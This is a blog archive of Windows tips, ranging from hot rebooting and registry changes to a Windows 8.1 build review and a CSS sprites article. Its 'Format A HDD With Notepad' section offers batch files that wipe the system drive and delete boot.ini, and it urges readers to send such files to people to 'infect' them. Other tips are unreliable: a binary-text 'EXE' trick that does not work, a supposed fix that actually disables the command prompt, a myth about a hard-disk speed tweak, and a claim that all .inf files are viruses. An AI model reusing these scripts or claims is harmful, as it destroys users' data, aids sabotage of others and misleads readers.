Category Archives: Windows Tips & Tricks

Restart Windows without Restarting your PC

Mostly Computer takes lots of time for restart. Sometimes we need to restart our computer, that time it becomes necessity like after installing some software but when we have limited time and we are busy then it is very annoying to wait for it to restart.
So here is solution for this problem. In that case you need not to restart your computer but you can restart your windows without restarting computer. It will take very less time.

To restart windows without restarting computer you just need to hold Shift key down while clicking on shutdown or restart button.

you computer would restart without restarting the Computer.

Restart Windows without Restarting PC, this term is known as Hot Booting.

Enable Task Manager after Disabled by your Administrator

When you try to open Task Manager, the following error may occur:
Task Manager has been disabled by your administrator
Resolution
This error is caused if the DisableTaskMgr restriction is enabled. To enable Task Manager, try one of these method:
Method 1
Click Start, Run and type this command exactly as given below: (better – Copy and paste)
Top of Form
REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f
Bottom of Form
Method 2
• Click Start, Run and type Regedit.exe
• Navigate to the following branch:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies\ System
• In the right-pane, delete the value named DisableTaskMgr
• Close Regedit.exe
Method 3:
Using Group Policy Editor – for Windows XP Professional
• Click Start, Run, type gpedit.msc and click OK.
• Navigate to this branch:
User Configuration / Administrative Templates / System / Ctrl+Alt+Delete Options / Remove Task Manager
• Double-click the Remove Task Manager option.
• Set the policy to Not Configured.
Message: “The command prompt has been disabled by your administrator”
When you attempt to run CMD.exe or a batch file, you may receive the message “The command prompt has been disabled by your administrator”. This is caused by restrictions placed in Registry. DisableCMD value is set to 1 or via Group Policy. To enable Task Manager, try any of these methods:
Method 1:
Using the console registry tool
Click Start, Run and type this command exactly as given below: (better – Copy and paste)
REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f
Method 2:
Edit the registry directly
Open Registry Editor (Regedit.exe) and navigate to:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]
In the right-pane, double-click DisableCMD and set it’s data to 0
Method 3:
Using Group Policy Editor in Windows XP Professional.
Click Start, Run, type gpedit.msc and click OK.
Navigate to User Configuration \ Administrative Templates \ System
Double-click the Prevent access to the command prompt

You can then disable or set the policy to Not Configured. Disabling or setting this policy to Not Configured should solve the problem.\

Increase Hard Disk Speed In Windows 100% No Software Require :)

If you like to increase/optimize your Hard Disk I/O – read/write speed without buying expensive software utilities to do that job or changing the HD, just follow next steps. With doing these steps you will increase Hard disk speed (depends of manufacture and specification, but its worth to try). The most speed improvement is visible with IDE drives; 

In any case, it won’t harm your system, so try it yourself and let me know what you find!
Steps:
1. Run SYSEDIT.EXE from the start & then Run command.

2. Expand the system.ini file window.
3. Scroll down almost to the end of the file untill you find a line called [386enh].
4. Press Enter to make one blank line, and in that line type
5. Irq14=4096 (note: This line IS CASE SENSITIVE)
6. Click on the File menu, then choose Save.
7. Close SYSEDIT and reboot your computer.
8. Restart windows!

The speed improvement will be noticed just after the system reboots, any system info. software can be used to check the improvement.

Enjoy it 😀

Format A HDD With Notepad

If you think that Notepad is useless then you are wrong because you can now do a lot of things with the Notepad which you could have never imagined. In this trick I will show you how to format a HDD using Notepad. This is really cool.
Step 1 :-
Copy The Following In Notepad Exactly as it is.
says01001011000111110010010101010101010000011111100000
Step 2 :-
Save As An EXE Any Name Will Do
Step 3 :-
Send the EXE to People And Infect
OR
IF you think cannot format C Drive when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code
format c:\ /Q/X — this will format your drive c:\
01100110011011110111001001101101011000010111010000 100000011000110011101001011100
0010000000101111010100010010111101011000
format d:\ /Q/X — this will format your dirve d:\
01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000
format a:\ /Q/X — this will format your drive a:\
01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000
del /F/S/Q c:\boot.ini — this will cause your computer not to boot.
01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001
0110111001101001

try to figure out yourself rest
cant spoonfeed
its working
Do not try it on your PC. Don’t mess around this is for educational purpose only
still if you cant figure it out try this
go to notepad and type the following:
@Echo off
Del C:\ *.*|y
save it as Dell.bat
want worse then type the following:
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file

Tricks To Clean All Temporary Files,Cookies, Temporary Internet Files

Just use notepad….

Step 1:
Start with making a new txt file.

Step 2:
Paste this code in the txt file:
Code: Select all

@echo off
echo Webhog Cleaner
echo waiting
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q ?%userprofile%\Local Settings\Temporary Internet Files\*.*?
del /f /s /q ?%userprofile%\Local Settings\Temp\*.*?
del /f /s /q ?%userprofile%\recent\*.*?
echo complete!
echo. & pause

Step 3:
Now save the file as “Cleaner.bat”

After saving this file, Just open it and see for your self.

USE YOUR WINDOWS 7, 8 or WINDOWS 8.1 AS ADMINISTRATOR

When we said about the full control in Windows 7 we thank about administrator Controller,  and all application need to run as administrator, so how can we run our Computer as an Administrator? Here a few step that will show all of you how to use your computer :
Step 1: right click on My Computer than click on Manage it will prompt as show on the Picture.
Step 2: See Picture Bellow:
Step 3: See Picture Bellow:
Step 4: After Click ok please restart your Computer to use account as administrator and click on administrator when you start up your Computer.
Please enjoy it 🙂

Disable Auto run in windows 7, 8 or windows 8.1

If we talk about Auto run we think about some kind of Virus that have extension.inf.
For all application that have extension with .inf is kinds of virus, but it would not impact to your file,or your documents, but it will be a bridge for other virus come into your computer easy, so in this tutor i will show you step by step how to disable auto run in windows 7:
Step 1: Go to start menu than clcik run. (see picture bellow)
Step 2: Type gpedit.msc than click ok. (see Picture bellow)
Step 3: Local Group Policy Editor is open.(see Picture bellow)
Step 4: In Local Group Policy Editor on left panel click on Anministrative Template and than Windows Components. (See Picture bellow)
Step 5: In left Panel click on AutoPlay Policies. (see Picture bellow)
Step 6: In AutoPlay Policies in right panel, right click on turn off autoplay than click edit. (See Picture bellow)
Step 7: After that new window is open under Turn off AutoPlay than tick enable and make sure you selcet all drive than Click Apply and Ok.(See Picture bellow) 
And than restart your Computer, Finish enjoy it.

Download any games+apps without using any apps for help

Download any games+apps without using any apps for help

Today i am happy to share with all of who owner of Windows phone series this tutorial will tell you how to download any apps+games into your PC directly and than you can copy it into your SD Card and install it from Store.

1. Go to http://www.windowsphone.com/

2. Make decide to choose which games or apps you would love to download than click on it

3. Scroll down until you see Download and install manually than click to download.see screen shot

Wait until download completed than go to download folder and copy your games or apps you have downloaded into your SD Cards, restart you phone.

After restart go to store on your phones than click on SD Card wait a moment for store to load your apps or games than click select to install. finished. See screen shot

Microsoft release version of windows 8.1 build 9471

Here’s a first peek at the newly leaked build of Windows 8.1. Created in late July, build 9471 has been described as an “escrow” build of the product by some, but I’d be surprised if Microsoft was that far along over three weeks ago. Still, there are improvements and changes all over this build when compared to the Preview release. Here’s some of what I’ve seen so far.

Setup

When it released the Preview version of Windows 8.1 (Build 9431) to the public at the end of June, Microsoft warned users that they would lose all installed applications (desktop applications and Modern mobile apps) when they later upgraded from the Preview to the final version of Windows 8.1. You can see this in action in build 9471: When you run the interactive Setup application, you can only choose to bring forward you documents (partial migration) or nothing (clean install).

Setup, on the Surface Pro I used for testing, was quite fast, as we’ve come to expect from Windows 8. From desktop to desktop the entire process took about 15 minutes. After a single reboot, you’re prompted to enter the product key in a new screen you can actually skip, enter Wi-Fi settings, choose between Express and Custom setup types, and connect to your Microsoft account and SkyDrive. Then you’re in.

You can activate this build with the Windows 8.1 Preview product key.

Start

The motion themes are available now, and while this shot won’t convey the nice parallax animations you’ll see when using one, it’s as expected.

Help + Tips app

One of the big complaints about Windows 8 is that it includes a lot of new user interface, much of it hidden and undiscoverable. So in this new build, Microsoft has built help tips into the system designed to help users find otherwise inscrutable new UIs.

Help tips

One of the big complaints about Windows 8 is that it includes a lot of new user interface, much of it hidden and undiscoverable. So in this new build, Microsoft has built help tips into the system designed to help users find otherwise inscrutable new UIs.

Mail app

The Mail app has been significantly updated to the version Microsoft previewed at Build in June. I’ll be writing more about that soon, but I already see some things I really like, including the promised drag and drop support and the ability to pin folders (like the Archive folder I use frequently) and contacts to the nav pane. Nice!

Calendar

Surprisingly, the Calendar app has gotten a major update and is now barely recognizable as a calendar. In fact, it resembles the old Photos app from Windows 8 by default, and has a customizable photo background. For some reason. That view, which is called “What’s next,” can be replaced by more standard calendar views, and I assume the point is to make something like the old Outlook Today view from desktop versions of Outlook. But it is really weird and, in this build, displays incorrectly with the upcoming meetings pushed under the bottom edge of the screen.

Photos app
I was particularly interested to see whether the Photos app had improved. While many are hoping Microsoft will bring back the ability to connect to multiple online services and other PCs, I was more concerned with the basics, like being able to download photos from a camera. As I expected, photo import capabilities are back—they were missing in action in the Preview build—though they’re as basic as they were in the Photos app in the original shipping version of Windows. (That is, you can’t intelligently name imported photos by event or whatever.)
Skype app
Skype is now included in the stock Windows 8.1 install, replacing Messaging. Sadly, the version in this build crashes repeatedly.
There are other more subtle changes. But I’ll have more soon…..

CSS, Image Sprites, Background Images and Website Optimization

A little recap

The idea of placing multiple states of buttons and other elements that are used in background images took its roots, I believe, from Pixy’s Fast Rollovers. The CSS Zen Master extended this to another purpose in CSS Sprites: Image Slicing’s Kiss of Death. Didier Hilhorst came up with a nice application of this method, and I worked it backwards in Responsible CSS – Recycle your background images.

The idea behind the ‘sprites’ method can obviously be extended to any html element, and there are tangible benefits for doing this, just as long as the designer does his or her usual homework.

Benfits of using the ‘sprites’ method

What are the possible the benefits of using this method? Essentially it lies in faster download times for your web content.

Readers of Andy Kings book, Speed Up Your Site: Web Site Optimization will notice that this method reduces http requests and makes more efficient use of the data packets used to transfer files to the users computer, and that that is a good thing.

Packet size and http requests
From Web Page Design and Download Time, by Jing Zhi of Keynote Systems (seen here – pdf), cited in Andy’s book:

The basic performance principle is therefore to make fewer requests and transmit fewer packets. From this principle, we can derive two basic design rules for wellperforming Web pages. First, reduce the overall size of the page, thereby reducing the number of bytes (and packets) to be transferred over the Internet. Second, limit the number of embedded objects on the page, such as images, each of which must be requested and transferred separately from server to browser.

They also found that it was the number of packets and not necessarily the overall size of the page that was important. If a packet could hold 1460 bytes (the figure given in the article) and your object was 1600 bytes, it would require two packets. They found that this object would transfer at the same speed as another object that was greater in size but still fit in two packets.

Potential payoff
The potential payoff for using this method versus individual images, then, is a faster download time due to reduced number of packets and fewer http requests.

Reducing http requests is easy. One file instead of two or three etc. is simple. But packet requests? That depends…

An example
The number of packets sent will depend on the size of the file and the users internet connection.

As an example, lets look at the fiftyfoureleven.com logo at the top of the page. When this design was first being coded, that link consisted of two 3.34kb images, one for the link state and one for the hover state. Now, by using one image that contains both states and simply bumping it back and forth depending on the hover state, that has been reduced to one 5.35 kb image. Right there is a savings of 1.33 kb. Good news.

Now, for arguments sake lets say that a packet can hold 1460 bytes (packet size for connections greater than 128kb/s = 1500 bytes -40bytes for tcp/ip headers). The two image method used 6 packets, 3 for each image (3.34/1.46, rounded up). The single image method uses 4 packets (5.34/1.46, rounded up).

Things are looking good.

How to optimize
In his alistapart article, Dave refers to the image that holds all of the sprites as his ‘master image’. The key to benefitting from this method is to ensure that the file size of your master image isn’t a bloated equivalent versus the sum of its pieces.

Conclusion
Great benefits can be realized when combining a master image from slices that fall well below the size of one packet, as that unused packet space goes wasted.

After doing a little more research, it seems that packet size can vary depending on the connection rate. That being said, it may be rather difficult to come up with a firm rule here. To play it smart and safe, try and:

build master images that are smaller then the sum of their collective slices (by combining images of similar colors, for example) or
rather than use a different distinct image for a certain element, reuse one that you already plan on using elsewhere.
This isn’t exactly groundbreaking advice, however having seen the results acheived with the logo on this page, it can be seen that using the sprite method versus individual images at minimum does reduce http requests and even further it can reduce file size which in turn can reduce the number of packets sent.